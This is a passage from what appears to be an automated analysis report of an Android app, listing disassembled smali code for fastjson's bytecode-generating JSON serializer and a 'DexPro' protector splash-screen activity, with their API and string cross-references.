                                                247invoke-interface {v7, v12, v0, v2, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                248const-class v0, Lcom/alibaba/fastjson/parser/DefaultJSONParser$ResolveTask;
                                                250invoke-static {v0}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                251move-result-object v0
                                                252const-class v1, Lcom/alibaba/fastjson/parser/deserializer/FieldDeserializer;
                                                254invoke-static {v1}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                255move-result-object v1
                                                257const-string v2, "fieldDeserializer"
                                                259invoke-interface {v7, v3, v0, v2, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                261invoke-interface {v7, v10, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                263invoke-static {v11}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                264move-result-object v0
                                                266invoke-interface {v7, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                268sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->DefaultJSONParser:Ljava/lang/String;
                                                270const-string v1, "setResolveStatus"
                                                272const-string v2, "(I)V"
                                                274invoke-interface {v7, v12, v0, v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                276invoke-interface {v7, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                277return-void
                                                Cross References
                                                APIs
                                                • java.lang.Byte.TYPE:Ljava/lang/Class
                                                • java.lang.Short.TYPE:Ljava/lang/Class
                                                • java.lang.Integer.TYPE:Ljava/lang/Class
                                                • java.lang.Character.TYPE:Ljava/lang/Class
                                                • java.lang.Long.TYPE:Ljava/lang/Class
                                                • java.lang.Float.TYPE:Ljava/lang/Class
                                                • java.lang.Double.TYPE:Ljava/lang/Class
                                                • java.lang.Boolean.TYPE:Ljava/lang/Class
                                                • java.lang.Class.isEnum
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                Strings
                                                • hasNameFilters
                                                • valueOf
                                                • byte
                                                • java/lang/Byte
                                                • (B)Ljava/lang/Byte;
                                                • short
                                                • java/lang/Short
                                                • (S)Ljava/lang/Short;
                                                • int
                                                • java/lang/Integer
                                                • (I)Ljava/lang/Integer;
                                                • char
                                                • java/lang/Character
                                                • (C)Ljava/lang/Character;
                                                • long
                                                • java/lang/Long
                                                • (J)Ljava/lang/Long;
                                                • float
                                                • java/lang/Float
                                                • (F)Ljava/lang/Float;
                                                • double
                                                • java/lang/Double
                                                • (D)Ljava/lang/Double;
                                                • boolean
                                                • java/lang/Boolean
                                                • (Z)Ljava/lang/Boolean;
                                                • decimal
                                                • string
                                                • enum
                                                • list
                                                • object
                                                • (L
                                                • ;Ljava/lang/Object;Ljava/lang/String;Ljava/lang/Object;)Ljava/lang/String;
                                                • processKey
                                                Position Instruction Meta Information
                                                0new-instance v0, Lcom/alibaba/fastjson/asm/Label;
                                                2invoke-direct {v0}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                4const-string v1, "hasNameFilters"
                                                6invoke-virtual {p3, v1}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                7move-result v1
                                                8const/16 v2, 0x15
                                                10invoke-interface {p1, v2, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                11const/16 v1, 0x99
                                                13invoke-interface {p1, v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                15iget-object p2, p2, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                16const/16 v1, 0x19
                                                17const/4 v3, 0x0
                                                19invoke-interface {p1, v1, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                20const/4 v3, 0x1
                                                22invoke-interface {p1, v1, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                23const/4 v3, 0x2
                                                25invoke-interface {p1, v1, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                26sget v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->fieldName:I
                                                28invoke-interface {p1, v1, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                30sget-object v4, Ljava/lang/Byte;->TYPE:Ljava/lang/Class;
                                                32const-string v5, "valueOf"
                                                33const/16 v6, 0xb8
                                                34if-ne p2, v4, :cond_44
                                                36const-string p2, "byte"
                                                38invoke-virtual {p3, p2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                39move-result p2
                                                41invoke-interface {p1, v2, p2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                43const-string p2, "java/lang/Byte"
                                                45const-string p3, "(B)Ljava/lang/Byte;"
                                                47invoke-interface {p1, v6, p2, v5, p3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                48goto/16 :goto_129
                                                49cond_44:
                                                50sget-object v4, Ljava/lang/Short;->TYPE:Ljava/lang/Class;
                                                51if-ne p2, v4, :cond_5a
                                                53const-string p2, "short"
                                                55invoke-virtual {p3, p2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                56move-result p2
                                                58invoke-interface {p1, v2, p2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                60const-string p2, "java/lang/Short"
                                                62const-string p3, "(S)Ljava/lang/Short;"
                                                64invoke-interface {p1, v6, p2, v5, p3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                65goto/16 :goto_129
                                                66cond_5a:
                                                67sget-object v4, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
                                                68if-ne p2, v4, :cond_70
                                                70const-string p2, "int"
                                                72invoke-virtual {p3, p2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                73move-result p2
                                                75invoke-interface {p1, v2, p2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                77const-string p2, "java/lang/Integer"
                                                79const-string p3, "(I)Ljava/lang/Integer;"
                                                81invoke-interface {p1, v6, p2, v5, p3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                82goto/16 :goto_129
                                                83cond_70:
                                                84sget-object v4, Ljava/lang/Character;->TYPE:Ljava/lang/Class;
                                                85if-ne p2, v4, :cond_86
                                                87const-string p2, "char"
                                                89invoke-virtual {p3, p2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                90move-result p2
                                                92invoke-interface {p1, v2, p2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                94const-string p2, "java/lang/Character"
                                                96const-string p3, "(C)Ljava/lang/Character;"
                                                98invoke-interface {p1, v6, p2, v5, p3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                99goto/16 :goto_129
                                                100cond_86:
                                                101sget-object v4, Ljava/lang/Long;->TYPE:Ljava/lang/Class;
                                                102if-ne p2, v4, :cond_9e
                                                103const/16 p2, 0x16
                                                105const-string v1, "long"
                                                107invoke-virtual {p3, v1, v3}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;I)I
                                                108move-result p3
                                                110invoke-interface {p1, p2, p3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                112const-string p2, "java/lang/Long"
                                                114const-string p3, "(J)Ljava/lang/Long;"
                                                116invoke-interface {p1, v6, p2, v5, p3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                117goto/16 :goto_129
                                                118cond_9e:
                                                119sget-object v4, Ljava/lang/Float;->TYPE:Ljava/lang/Class;
                                                120if-ne p2, v4, :cond_b6
                                                121const/16 p2, 0x17
                                                123const-string v1, "float"
                                                125invoke-virtual {p3, v1}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                126move-result p3
                                                128invoke-interface {p1, p2, p3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                130const-string p2, "java/lang/Float"
                                                132const-string p3, "(F)Ljava/lang/Float;"
                                                134invoke-interface {p1, v6, p2, v5, p3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                135goto/16 :goto_129
                                                136cond_b6:
                                                137sget-object v4, Ljava/lang/Double;->TYPE:Ljava/lang/Class;
                                                138if-ne p2, v4, :cond_cd
                                                139const/16 p2, 0x18
                                                141const-string v1, "double"
                                                143invoke-virtual {p3, v1, v3}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;I)I
                                                144move-result p3
                                                146invoke-interface {p1, p2, p3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                148const-string p2, "java/lang/Double"
                                                150const-string p3, "(D)Ljava/lang/Double;"
                                                152invoke-interface {p1, v6, p2, v5, p3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                153goto/16 :goto_129
                                                154cond_cd:
                                                155sget-object v3, Ljava/lang/Boolean;->TYPE:Ljava/lang/Class;
                                                156if-ne p2, v3, :cond_e2
                                                158const-string p2, "boolean"
                                                160invoke-virtual {p3, p2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                161move-result p2
                                                163invoke-interface {p1, v2, p2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                165const-string p2, "java/lang/Boolean"
                                                167const-string p3, "(Z)Ljava/lang/Boolean;"
                                                169invoke-interface {p1, v6, p2, v5, p3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                170goto/16 :goto_129
                                                171cond_e2: const-class v2, Ljava/math/BigDecimal;
                                                172if-ne p2, v2, :cond_f0
                                                174const-string p2, "decimal"
                                                176invoke-virtual {p3, p2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                177move-result p2
                                                179invoke-interface {p1, v1, p2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                180goto/16 :goto_129
                                                181cond_f0: const-class v2, Ljava/lang/String;
                                                182if-ne p2, v2, :cond_fe
                                                184const-string p2, "string"
                                                186invoke-virtual {p3, p2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                187move-result p2
                                                189invoke-interface {p1, v1, p2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                190goto/16 :goto_129
                                                191cond_fe:
                                                192invoke-virtual {p2}, Ljava/lang/Class;->isEnum()Z
                                                193move-result v2
                                                194if-eqz v2, :cond_10e
                                                196const-string p2, "enum"
                                                198invoke-virtual {p3, p2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                199move-result p2
                                                201invoke-interface {p1, v1, p2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                202goto/16 :goto_129
                                                203cond_10e: const-class v2, Ljava/util/List;
                                                205invoke-virtual {v2, p2}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                206move-result p2
                                                207if-eqz p2, :cond_120
                                                209const-string p2, "list"
                                                211invoke-virtual {p3, p2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                212move-result p2
                                                214invoke-interface {p1, v1, p2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                215goto/16 :goto_129
                                                216cond_120:
                                                217const-string p2, "object"
                                                219invoke-virtual {p3, p2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                220move-result p2
                                                222invoke-interface {p1, v1, p2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                223goto_129: const/16 p2, 0xb6
                                                225sget-object p3, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JavaBeanSerializer:Ljava/lang/String;
                                                226new-instance v1, Ljava/lang/StringBuilder;
                                                228invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                230const-string v2, "(L"
                                                232invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                234sget-object v2, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                236invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                238const-string v2, ";Ljava/lang/Object;Ljava/lang/String;Ljava/lang/Object;)Ljava/lang/String;"
                                                240invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                242invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                243move-result-object v1
                                                245const-string v2, "processKey"
                                                247invoke-interface {p1, p2, p3, v2, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                248const/16 p2, 0x3a
                                                249sget p3, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->fieldName:I
                                                251invoke-interface {p1, p2, p3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                253invoke-interface {p1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                254return-void
                                                Cross References
                                                APIs
                                                • java.lang.Byte.TYPE:Ljava/lang/Class
                                                • java.lang.Short.TYPE:Ljava/lang/Class
                                                • java.lang.Integer.TYPE:Ljava/lang/Class
                                                • java.lang.Character.TYPE:Ljava/lang/Class
                                                • java.lang.Long.TYPE:Ljava/lang/Class
                                                • java.lang.Float.TYPE:Ljava/lang/Class
                                                • java.lang.Double.TYPE:Ljava/lang/Class
                                                • java.lang.Boolean.TYPE:Ljava/lang/Class
                                                • java.lang.Class.isEnum
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                Strings
                                                • valueOf
                                                • byte
                                                • java/lang/Byte
                                                • (B)Ljava/lang/Byte;
                                                • short
                                                • java/lang/Short
                                                • (S)Ljava/lang/Short;
                                                • int
                                                • java/lang/Integer
                                                • (I)Ljava/lang/Integer;
                                                • char
                                                • java/lang/Character
                                                • (C)Ljava/lang/Character;
                                                • long
                                                • java/lang/Long
                                                • (J)Ljava/lang/Long;
                                                • float
                                                • java/lang/Float
                                                • (F)Ljava/lang/Float;
                                                • double
                                                • java/lang/Double
                                                • (D)Ljava/lang/Double;
                                                • boolean
                                                • java/lang/Boolean
                                                • (Z)Ljava/lang/Boolean;
                                                • decimal
                                                • string
                                                • enum
                                                • list
                                                • object
                                                • (L
                                                • ;Ljava/lang/Object;Ljava/lang/String;Ljava/lang/Object;)Z
                                                • apply
                                                Position Instruction Meta Information
                                                1iget-object p2, p2, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                2const/16 v0, 0x19
                                                3const/4 v1, 0x0
                                                5invoke-interface {p1, v0, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                6const/4 v1, 0x1
                                                8invoke-interface {p1, v0, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                9const/4 v1, 0x2
                                                11invoke-interface {p1, v0, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                12sget v2, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->fieldName:I
                                                14invoke-interface {p1, v0, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                16sget-object v2, Ljava/lang/Byte;->TYPE:Ljava/lang/Class;
                                                17const/16 v3, 0x15
                                                19const-string v4, "valueOf"
                                                20const/16 v5, 0xb8
                                                21if-ne p2, v2, :cond_31
                                                23const-string p2, "byte"
                                                25invoke-virtual {p3, p2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                26move-result p2
                                                28invoke-interface {p1, v3, p2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                30const-string p2, "java/lang/Byte"
                                                32const-string p3, "(B)Ljava/lang/Byte;"
                                                34invoke-interface {p1, v5, p2, v4, p3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                35goto/16 :goto_116
                                                36cond_31:
                                                37sget-object v2, Ljava/lang/Short;->TYPE:Ljava/lang/Class;
                                                38if-ne p2, v2, :cond_47
                                                40const-string p2, "short"
                                                42invoke-virtual {p3, p2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                43move-result p2
                                                45invoke-interface {p1, v3, p2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                47const-string p2, "java/lang/Short"
                                                49const-string p3, "(S)Ljava/lang/Short;"
                                                51invoke-interface {p1, v5, p2, v4, p3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                52goto/16 :goto_116
                                                53cond_47:
                                                54sget-object v2, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
                                                55if-ne p2, v2, :cond_5d
                                                57const-string p2, "int"
                                                59invoke-virtual {p3, p2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                60move-result p2
                                                62invoke-interface {p1, v3, p2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                64const-string p2, "java/lang/Integer"
                                                66const-string p3, "(I)Ljava/lang/Integer;"
                                                68invoke-interface {p1, v5, p2, v4, p3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                69goto/16 :goto_116
                                                70cond_5d:
                                                71sget-object v2, Ljava/lang/Character;->TYPE:Ljava/lang/Class;
                                                72if-ne p2, v2, :cond_73
                                                74const-string p2, "char"
                                                76invoke-virtual {p3, p2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                77move-result p2
                                                79invoke-interface {p1, v3, p2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                81const-string p2, "java/lang/Character"
                                                83const-string p3, "(C)Ljava/lang/Character;"
                                                85invoke-interface {p1, v5, p2, v4, p3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                86goto/16 :goto_116
                                                87cond_73:
                                                88sget-object v2, Ljava/lang/Long;->TYPE:Ljava/lang/Class;
                                                89if-ne p2, v2, :cond_8b
                                                90const/16 p2, 0x16
                                                92const-string v0, "long"
                                                94invoke-virtual {p3, v0, v1}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;I)I
                                                95move-result p3
                                                97invoke-interface {p1, p2, p3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                99const-string p2, "java/lang/Long"
                                                101const-string p3, "(J)Ljava/lang/Long;"
                                                103invoke-interface {p1, v5, p2, v4, p3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                104goto/16 :goto_116
                                                105cond_8b:
                                                106sget-object v2, Ljava/lang/Float;->TYPE:Ljava/lang/Class;
                                                107if-ne p2, v2, :cond_a3
                                                108const/16 p2, 0x17
                                                110const-string v0, "float"
                                                112invoke-virtual {p3, v0}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                113move-result p3
                                                115invoke-interface {p1, p2, p3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                117const-string p2, "java/lang/Float"
                                                119const-string p3, "(F)Ljava/lang/Float;"
                                                121invoke-interface {p1, v5, p2, v4, p3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                122goto/16 :goto_116
                                                123cond_a3:
                                                124sget-object v2, Ljava/lang/Double;->TYPE:Ljava/lang/Class;
                                                125if-ne p2, v2, :cond_ba
                                                126const/16 p2, 0x18
                                                128const-string v0, "double"
                                                130invoke-virtual {p3, v0, v1}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;I)I
                                                131move-result p3
                                                133invoke-interface {p1, p2, p3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                135const-string p2, "java/lang/Double"
                                                137const-string p3, "(D)Ljava/lang/Double;"
                                                139invoke-interface {p1, v5, p2, v4, p3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                140goto/16 :goto_116
                                                141cond_ba:
                                                142sget-object v1, Ljava/lang/Boolean;->TYPE:Ljava/lang/Class;
                                                143if-ne p2, v1, :cond_cf
                                                145const-string p2, "boolean"
                                                147invoke-virtual {p3, p2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                148move-result p2
                                                150invoke-interface {p1, v3, p2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                152const-string p2, "java/lang/Boolean"
                                                154const-string p3, "(Z)Ljava/lang/Boolean;"
                                                156invoke-interface {p1, v5, p2, v4, p3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                157goto/16 :goto_116
                                                158cond_cf: const-class v1, Ljava/math/BigDecimal;
                                                159if-ne p2, v1, :cond_dd
                                                161const-string p2, "decimal"
                                                163invoke-virtual {p3, p2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                164move-result p2
                                                166invoke-interface {p1, v0, p2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                167goto/16 :goto_116
                                                168cond_dd: const-class v1, Ljava/lang/String;
                                                169if-ne p2, v1, :cond_eb
                                                171const-string p2, "string"
                                                173invoke-virtual {p3, p2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                174move-result p2
                                                176invoke-interface {p1, v0, p2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                177goto/16 :goto_116
                                                178cond_eb:
                                                179invoke-virtual {p2}, Ljava/lang/Class;->isEnum()Z
                                                180move-result v1
                                                181if-eqz v1, :cond_fb
                                                183const-string p2, "enum"
                                                185invoke-virtual {p3, p2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                186move-result p2
                                                188invoke-interface {p1, v0, p2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                189goto/16 :goto_116
                                                190cond_fb: const-class v1, Ljava/util/List;
                                                192invoke-virtual {v1, p2}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                193move-result p2
                                                194if-eqz p2, :cond_10d
                                                196const-string p2, "list"
                                                198invoke-virtual {p3, p2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                199move-result p2
                                                201invoke-interface {p1, v0, p2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                202goto/16 :goto_116
                                                203cond_10d:
                                                204const-string p2, "object"
                                                206invoke-virtual {p3, p2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                207move-result p2
                                                209invoke-interface {p1, v0, p2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                210goto_116: const/16 p2, 0xb6
                                                212sget-object p3, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JavaBeanSerializer:Ljava/lang/String;
                                                213new-instance v0, Ljava/lang/StringBuilder;
                                                215invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                217const-string v1, "(L"
                                                219invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                221sget-object v1, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                223invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                225const-string v1, ";Ljava/lang/Object;Ljava/lang/String;Ljava/lang/Object;)Z"
                                                227invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                229invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                230move-result-object v0
                                                232const-string v1, "apply"
                                                234invoke-interface {p1, p2, p3, v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                235return-void
                                                APIs
                                                • android.app.Activity.onCreate
                                                • android.support.dexpro.SplashActivity.setTheme
                                                • android.support.dexpro.SplashActivity.getWindow
                                                • android.view.Window.addFlags
                                                • android.view.Window.setNavigationBarColor
                                                • android.support.dexpro.SplashActivity.getPackageManager
                                                • android.support.dexpro.SplashActivity.getPackageName
                                                • android.content.pm.PackageManager.getApplicationInfo
                                                • android.content.pm.PackageItemInfo.metaData:Landroid/os/Bundle
                                                • android.os.Bundle.getString
                                                • android.support.dexpro.SplashActivity.mOriginalActivityName:Ljava/lang/String
                                                • android.support.dexpro.SplashActivity.mOriginalActivityName:Ljava/lang/String
                                                • java.lang.String.startsWith
                                                • java.lang.StringBuilder.<init>
                                                • android.support.dexpro.SplashActivity.getPackageName
                                                • java.lang.StringBuilder.append
                                                • android.support.dexpro.SplashActivity.mOriginalActivityName:Ljava/lang/String
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • android.widget.LinearLayout.<init>
                                                • android.graphics.Color.parseColor
                                                • android.widget.LinearLayout.setBackgroundColor
                                                • android.support.coreui.app.b.c.<init>
                                                • android.support.coreui.app.b.c.setParticleText
                                                • android.support.coreui.app.__.getAppName
                                                • android.support.coreui.app.b.c.setHostText
                                                • android.graphics.Color.parseColor
                                                • android.support.coreui.app.b.c.setBgColor
                                                • android.support.coreui.app.b.c.setParticleColor
                                                • android.support.coreui.app.b.c.setParticleTextSize
                                                • android.support.coreui.app.b.c.setTextAnimTime
                                                • android.support.coreui.app.b.c.setSpreadTime
                                                • android.support.coreui.app.b.c.setHostTextAnimTime
                                                • android.support.coreui.app.b.c.initView
                                                • android.widget.LinearLayout.addView
                                                • android.support.dexpro.SplashActivity.setContentView
                                                • android.support.dexpro.SplashActivity$100000000.<init>
                                                • android.support.coreui.app.b.c.setOnParticleAnimListener
                                                • android.support.coreui.app.b.c.startAnim
                                                Strings
                                                • eProtect_act
                                                • .
                                                • #263238
                                                • DexPro
                                                • #2E2E2E
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Signature;
                                                1value = {
                                                2"(",
                                                3"Landroid/os/Bundle;",
                                                4")V"
                                                5}
                                                6.end annotation
                                                7.annotation runtime Ljava/lang/Override;
                                                8.end annotation
                                                9.prologue
                                                10move-object v0, p0
                                                11move-object v1, p1
                                                12move-object v6, v0
                                                13move-object v7, v1
